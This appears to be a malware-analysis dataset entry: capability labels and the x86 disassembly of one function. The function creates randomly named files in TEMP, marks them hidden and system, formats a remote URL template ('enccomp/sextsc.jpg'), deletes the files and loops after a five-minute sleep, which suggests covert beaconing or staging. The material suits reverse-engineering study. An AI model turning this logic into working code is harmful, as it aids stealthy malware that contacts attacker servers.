Function at 0x4056c0
Capabilities:
Delete file
Query environment variable
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
lea esi, [esi]
mov dword [ebp - 0x10], esp
call sub.msvcrt.dll_rand
mov ecx, 0x88888889
mov esi, eax
imul ecx
mov eax, esi
lea ebx, [esi + edx]
sar ebx, 4
cdq
sub ebx, edx
mov eax, ebx
shl eax, 4
mov edx, 0x505750
sub eax, ebx
mov dword [esp + 4], edx
add eax, eax
sub esi, eax
lea ecx, [esi + 2]
mov dword [esp], ecx
call fcn.004090e0
mov dword [esp], str.TEMP
mov esi, eax
call sub.msvcrt.dll_getenv
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp], esi
mov ebx, eax
call sub.msvcrt.dll_strlen
lea edi, [ebx + eax + 0x26]
and edi, 0xfffffff0
mov eax, edi
call fcn.004f2010
mov dword [esp], str.TEMP
lea edi, [esp + 0x23]
and edi, 0xfffffff0
call sub.msvcrt.dll_getenv
mov dword [esp + 8], eax
mov ecx, 0x50575a
mov dword [esp + 4], ecx
mov dword [esp + 0xc], esi
mov dword [esp], edi
call sub.msvcrt.dll_sprintf
call fcn.00404300
mov dword [ebp - 0x14], eax
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov esi, eax
call fcn.00408e90
mov dword [esp], eax
call sub.msvcrt.dll_strlen
lea ebx, [esi + eax + 0xa7]
and ebx, 0xfffffff0
mov eax, ebx
call fcn.004f2010
lea edx, [esp + 0x23]
mov eax, 0x1e
and edx, 0xfffffff0
mov dword [ebp - 0x18], edx
mov dword [esp + 4], eax
mov dword [esp], edi
call fcn.00405940
test eax, eax
jne 0x4058e3
mov dword [ebp - 0x1c], esp
mov ecx, edi
lea esi, [esi]
mov esi, dword [ecx]
add ecx, 4
lea edx, [esi - 0x1010101]
not esi
and edx, esi
mov eax, edx
and eax, 0x80808080
je 0x4057d0
and edx, 0x8080
jne 0x4057f6
shr eax, 0x10
add ecx, 2
add al, al
sbb ecx, 3
sub ecx, edi
lea eax, [ecx + 0x26]
and eax, 0xfffffff0
call fcn.004f2010
mov dword [esp + 8], edi
lea ebx, [esp + 0x23]
mov edx, str._s.cr
mov dword [esp + 4], edx
and ebx, 0xfffffff0
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp], 2
call fcn.004086f0
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp], 2
mov esi, eax
call fcn.004086f0
mov dword [esp + 8], eax
mov dword [esp + 0xc], esi
mov esi, 6
mov dword [esp], edi
mov dword [esp + 4], ebx
call fcn.0040a710
mov dword [esp + 4], esi
mov esi, str.http:___s__s_enccomp_sextsc.jpg
mov dword [esp], ebx
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
mov dword [esp], edi
call sub.msvcrt.dll_remove
mov dword [esp], edi
mov ecx, 6
mov edi, 0x50578c
mov dword [esp + 4], ecx
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
call fcn.00408e90
mov dword [esp + 0x10], eax
mov eax, 0x5057a5
mov dword [esp + 0xc], eax
mov edx, dword [ebp - 0x14]
mov dword [esp + 4], esi
mov dword [esp + 8], edx
mov ecx, dword [ebp - 0x18]
mov dword [esp], ecx
call sub.msvcrt.dll_sprintf
mov dword [esp + 0xc], edi
mov eax, 0x5057af
mov dword [esp + 4], eax
mov dword [esp + 8], ebx
mov edx, dword [ebp - 0x18]
mov dword [esp], edx
call fcn.004055c0
mov dword [esp], ebx
call sub.msvcrt.dll_remove
mov esp, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x4058f5
mov edi, dword [ebp - 0x14]
mov dword [esp], edi
call fcn.004eff80
mov dword [esp], 0x493e0
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov esp, dword [ebp - 0x10]
jmp 0x4056e0